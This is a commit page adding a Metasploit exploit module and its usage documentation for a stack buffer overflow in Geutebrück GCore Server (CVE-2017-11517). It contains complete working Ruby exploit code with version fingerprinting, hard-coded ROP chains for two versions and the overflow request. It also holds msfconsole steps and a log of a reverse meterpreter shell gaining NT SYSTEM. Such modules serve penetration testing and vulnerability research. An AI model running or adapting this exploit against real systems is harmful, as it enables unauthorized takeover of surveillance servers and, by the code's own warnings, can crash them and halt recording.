Skip to content

Commit 5288887

Browse files
committed
Land rapid7#8747 RCE for Geutebrueck GCore on Windows
2 parents 39916ef + 7ad151e commit 5288887

File tree

2 files changed

+329
-0
lines changed

2 files changed

+329
-0
lines changed
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
## Vulnerable Application
2+
3+
Geutebrück GCore Server 1.3.8.42, 1.4.2.37 are vulnerable to a buffer overflow exploitation.
4+
Since this application is started with system privileges this allows a system remote code execution.
5+
6+
## Verification Steps
7+
8+
1. Install Windows as basic OS (Tested with Win2012R2, Windows 7)
9+
2. Install the Geutebrück GCore server
10+
3. Verify that http://<your target ip>:13003/statistics/runningmoduleslist.xml available is.
11+
4. Start msfconsole
12+
5. Do: ```use [exploit/windows/http/geutebrueck_gcore_x64_rce_bo]```
13+
6. Do: ```set rhost <your target ip>```
14+
7. Do: ```set rport 13003```
15+
8. Do: ```set payload windows/x64/meterpreter/reverse_tcp```
16+
9. Do: ```exploit```
17+
10. You should get a shell as NT/SYSTEM.
18+
19+
## Scenarios
20+
21+
### Geutebrueck GCore 1.4.2.37
22+
23+
```
24+
msf exploit(geutebrueck_gcore_x64_rce_bo) > show options
25+
26+
Module options (exploit/windows/http/geutebrueck_gcore_x64_rce_bo):
27+
28+
Name Current Setting Required Description
29+
---- --------------- -------- -----------
30+
RHOST 192.168.1.10 yes The target address
31+
RPORT 13003 yes The target port
32+
33+
34+
35+
Payload options (windows/x64/meterpreter/reverse_tcp):
36+
37+
Name Current Setting Required Description
38+
---- --------------- -------- -----------
39+
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
40+
LHOST 192.168.1.11 yes The listen address
41+
LPORT 4444 yes The listen port
42+
43+
44+
Exploit target:
45+
46+
Id Name
47+
-- ----
48+
0 Automatic Targeting
49+
50+
msf exploit(geutebrueck_gcore_x64_rce_bo) > exploit
51+
[*] Started reverse TCP handler on 192.168.1.11:4444
52+
[*] 192.168.1.10:13003 - Trying to fingerprint server with http://192.168.1.10:13003/statistics/runningmoduleslist.xml...
53+
[*] 192.168.1.10:13003 - Vulnerable version detected: GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)
54+
[*] 192.168.1.10:13003 - Preparing ROP chain for target 1.4.2.37!
55+
[*] 192.168.1.10:13003 - Crafting Exploit...
56+
[*] 192.168.1.10:13003 - Exploit ready for sending...
57+
[*] 192.168.1.10:13003 - Exploit sent! [*] Sending stage (1188415 bytes) to
58+
[*] Meterpreter session 1 opened ( :4444 -> 49963) at 2017-11-03 13:14:51 +0200
59+
[*] 192.168.1.10:13003 - Closing socket.
60+
meterpreter > getsystem
61+
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
62+
meterpreter > getuid Server username:
63+
NT-AUTORITÄT\SYSTEM
64+
meterpreter >
65+
```
66+
67+
## Mitigation
68+
69+
Geutebrück released a new version and an update for the affected product which should be installed to fix the described vulnerabilities.
Lines changed: 260 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,260 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'nokogiri'
7+
require 'open-uri'
8+
9+
class MetasploitModule < Msf::Exploit::Remote
10+
include Msf::Exploit::Remote::Tcp
11+
12+
Rank = NormalRanking
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE',
17+
'Description' => %q{
18+
This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe).
19+
The vulnerable webserver is running on Port 13003 and Port 13004, does not require
20+
authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
'Luca Cappiello',
26+
'Maurice Popp'
27+
],
28+
'References' =>
29+
[
30+
['EDB','41153'],
31+
['CVE', '2017-11517'],
32+
['URL','www.geutebrueck.com']
33+
],
34+
'Platform' => 'win',
35+
'Targets' =>
36+
[
37+
['Automatic Targeting', { 'auto' => true, 'Arch' => ARCH_X64 }],
38+
['GCore 1.3.8.42, Windows x64 (Win7+)', { 'Arch' => ARCH_X64}],
39+
['GCore 1.4.2.37, Windows x64 (Win7+)', { 'Arch' => ARCH_X64}]
40+
],
41+
'Payload' =>
42+
{
43+
'Space' => '2000'
44+
},
45+
'Privileged' => true,
46+
'DisclosureDate' => 'Jan 24 2017',
47+
'DefaultTarget' => 0))
48+
49+
register_options(
50+
[Opt::RPORT(13003)]
51+
)
52+
end
53+
54+
def fingerprint
55+
print_status("Trying to fingerprint server with http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml...")
56+
@doc = Nokogiri::XML(open("http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml"))
57+
statistics = @doc.css('modulestate')
58+
statistics.each do |x|
59+
if (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.3.8.42')
60+
mytarget = targets[1]
61+
print_status("Vulnerable version detected: #{mytarget.name}")
62+
return Exploit::CheckCode::Appears, mytarget
63+
elsif (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.4.2.37')
64+
mytarget = targets[2]
65+
print_status("Vulnerable version detected: #{mytarget.name}")
66+
return Exploit::CheckCode::Appears, mytarget
67+
end
68+
end
69+
print_status("Statistics Page under http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml is not available.")
70+
print_status('Make sure that you know the exact version, otherwise you\'ll knock out the service.')
71+
print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
72+
print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
73+
[Exploit::CheckCode::Unknown, nil]
74+
end
75+
76+
def check
77+
fingerprint
78+
end
79+
80+
def ropchain(target)
81+
rop = ''
82+
# These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
83+
stack_align = "\x43" * 16
84+
85+
if target.name.include? '1.3.8.42'
86+
print_status('Preparing ROP chain for target 1.3.8.42!')
87+
88+
# 0x140cd00a9 | add rsp, 0x10 ; ret
89+
# This is needed because the next 16 bytes are sometimes messed up.
90+
overwrite = [0x140cd00a9].pack('Q<')
91+
92+
# We have 40 bytes left to align our stack!
93+
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
94+
# and to restore it.
95+
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
96+
97+
# 0x1404e5cbf: mov edx, esp ; ret
98+
stack_align << [0x1404e5cbf].pack('Q<')
99+
100+
# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
101+
# We pop -XXXXX as \xxxxxxxxx to rax
102+
# 0x14013db94 pop rax ; ret
103+
stack_align << [0x14013db94].pack('Q<')
104+
stack_align << [0xFFFFFFFFFFFFF061].pack('Q<')
105+
106+
# Our value is enough.
107+
# 0x1407dc547 | add rax,rdx ; ret
108+
stack_align << [0x1407dc547].pack('Q<')
109+
110+
# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
111+
# 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
112+
stack_align << [0x140ce9ac0].pack('Q<')
113+
114+
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
115+
# We want RCX to hold the value for VP Argument "Address of Shellcode"
116+
# 0x140cc2234 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
117+
rop << [0x140cc2234].pack('Q<')
118+
rop << [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
119+
# 0x1400ae2ae | POP RDX; RETN
120+
# 0x...1000 | Value for VP "Size of Memory"
121+
rop << [0x1400ae2ae].pack('Q<')
122+
rop << [0x0000000000000400].pack('Q<')
123+
124+
# 0x14029dc6e: | POP R8; RET
125+
# 0x...40 | Value for VP "Execute Permissions"
126+
rop << [0x14029dc6e].pack('Q<')
127+
rop << [0x0000000000000040].pack('Q<')
128+
129+
# 0x1400aa030 | POP R9; RET
130+
# 0x1409AE1A8 is the .data section of gcore
131+
rop << [0x1400aa030].pack('Q<')
132+
rop << [0x1409AE1A8].pack('Q<')
133+
134+
# 0x140b5927a: xor rax, rax ; ret
135+
rop << [0x140b5927a].pack('Q<')
136+
137+
# 0x1402ce220 pop rax ; ret
138+
# 0x140d752b8 | VP Stub IAT Entry
139+
rop << [0x1402ce220].pack('Q<')
140+
rop << [0x140d752b8].pack('Q<')
141+
142+
# 0x1407c6b3b mov rax, qword [rax] ; ret ;
143+
rop << [0x1407c6b3b].pack('Q<')
144+
145+
# 0x140989c41 push rax; ret
146+
rop << [0x140989c41].pack('Q<')
147+
148+
# 0x1406d684d jmp rsp
149+
rop << [0x1406d684d].pack('Q<')
150+
151+
[rop, overwrite, stack_align]
152+
153+
elsif target.name.include? '1.4.2.37'
154+
print_status('Preparing ROP chain for target 1.4.2.37!')
155+
156+
# 0x140cd9759 | add rsp, 0x10 ; ret
157+
# This is needed because the next 16 bytes are sometimes messed up.
158+
overwrite = [0x140cd9759].pack('Q<')
159+
160+
# We have 40 bytes left to align our stack!
161+
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
162+
# and to restore it.
163+
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
164+
165+
# 0x1404f213f: mov edx, esp ; ret
166+
stack_align << [0x1404f213f].pack('Q<')
167+
168+
# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
169+
# We pop -XXXXX as \xxxxxxxxx to rax
170+
# 0x14000efa8 pop rax ; ret
171+
stack_align << [0x14000efa8].pack('Q<')
172+
stack_align << [0xFFFFFFFFFFFFF061].pack('Q<')
173+
174+
# Our value is enough.
175+
# 0x140cdfe65 | add rax,rdx ; ret
176+
stack_align << [0x140cdfe65].pack('Q<')
177+
178+
# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
179+
# 0x140cf3110 | mov rsp, rax ; ..... ; ret
180+
stack_align << [0x140cf3110].pack('Q<')
181+
182+
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
183+
# We want RCX to hold the value for VP Argument "Address of Shellcode"
184+
# 0x140ccb984 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
185+
rop << [0x140ccb984].pack('Q<')
186+
rop << [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
187+
# 0x14008f7ec | POP RDX; RETN
188+
# 0x...1000 | Value for VP "Size of Memory"
189+
rop << [0x14008f7ec].pack('Q<')
190+
rop << [0x0000000000000400].pack('Q<')
191+
192+
# 0x140a88f81: | POP R8; RET
193+
# 0x...40 | Value for VP "Execute Permissions"
194+
rop << [0x140a88f81].pack('Q<')
195+
rop << [0x0000000000000040].pack('Q<')
196+
197+
# 0x1400aa030 | POP R9; RET
198+
# 0x... | Value for VP "Writeable location". Not sure if needed?
199+
# 0x140FB5000 is the .data section of gcore; let's test with this writable section...
200+
rop << [0x1400aa030].pack('Q<')
201+
rop << [0x140FB5000].pack('Q<')
202+
203+
# 0x140ccea2f: xor rax, rax ; et
204+
rop << [0x140ccea2f].pack('Q<')
205+
206+
# 0x14000efa8 pop rax ; ret
207+
# 0x140d83268 | VP Stub IAT Entry
208+
rop << [0x14000efa8].pack('Q<')
209+
rop << [0x140d83268].pack('Q<')
210+
211+
# 0x14095b254 mov rax, qword [rax] ; ret ;
212+
rop << [0x14095b254].pack('Q<')
213+
214+
# 0x140166c46 push rax; ret
215+
rop << [0x140166c46].pack('Q<')
216+
217+
# 0x140cfb98d jmp rsp
218+
rop << [0x140cfb98d].pack('Q<')
219+
220+
[rop, overwrite, stack_align]
221+
222+
else
223+
print_status('ROP chain for this version not (yet) available or the target is not vulnerable.')
224+
end
225+
end
226+
227+
def exploit
228+
if target['auto']
229+
checkcode, target = fingerprint
230+
fail_with(Failure::NotVulnerable, 'No vulnerable Version detected - exploit aborted.') if checkcode.to_s.include? 'unknown'
231+
target_rop, target_overwrite, target_stack_align = ropchain(target)
232+
else
233+
print_status('No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.')
234+
print_status("Selected version: #{self.target.name}")
235+
target_rop, target_overwrite, target_stack_align = ropchain(self.target)
236+
end
237+
238+
begin
239+
connect
240+
print_status('Crafting Exploit...')
241+
exploit = 'GET /'
242+
exploit << "\x41" * 200
243+
exploit << target_rop
244+
exploit << payload.encoded
245+
exploit << "\x41" * 1823
246+
exploit << target_overwrite
247+
exploit << target_stack_align
248+
249+
print_status('Exploit ready for sending...')
250+
sock.put(exploit, 'Timeout' => 20)
251+
print_status('Exploit sent!')
252+
buf = sock.get_once || ''
253+
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
254+
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}\n#{e.fail_with}")
255+
ensure
256+
print_status('Closing socket.')
257+
disconnect
258+
end
259+
end
260+
end

0 commit comments

Comments
 (0)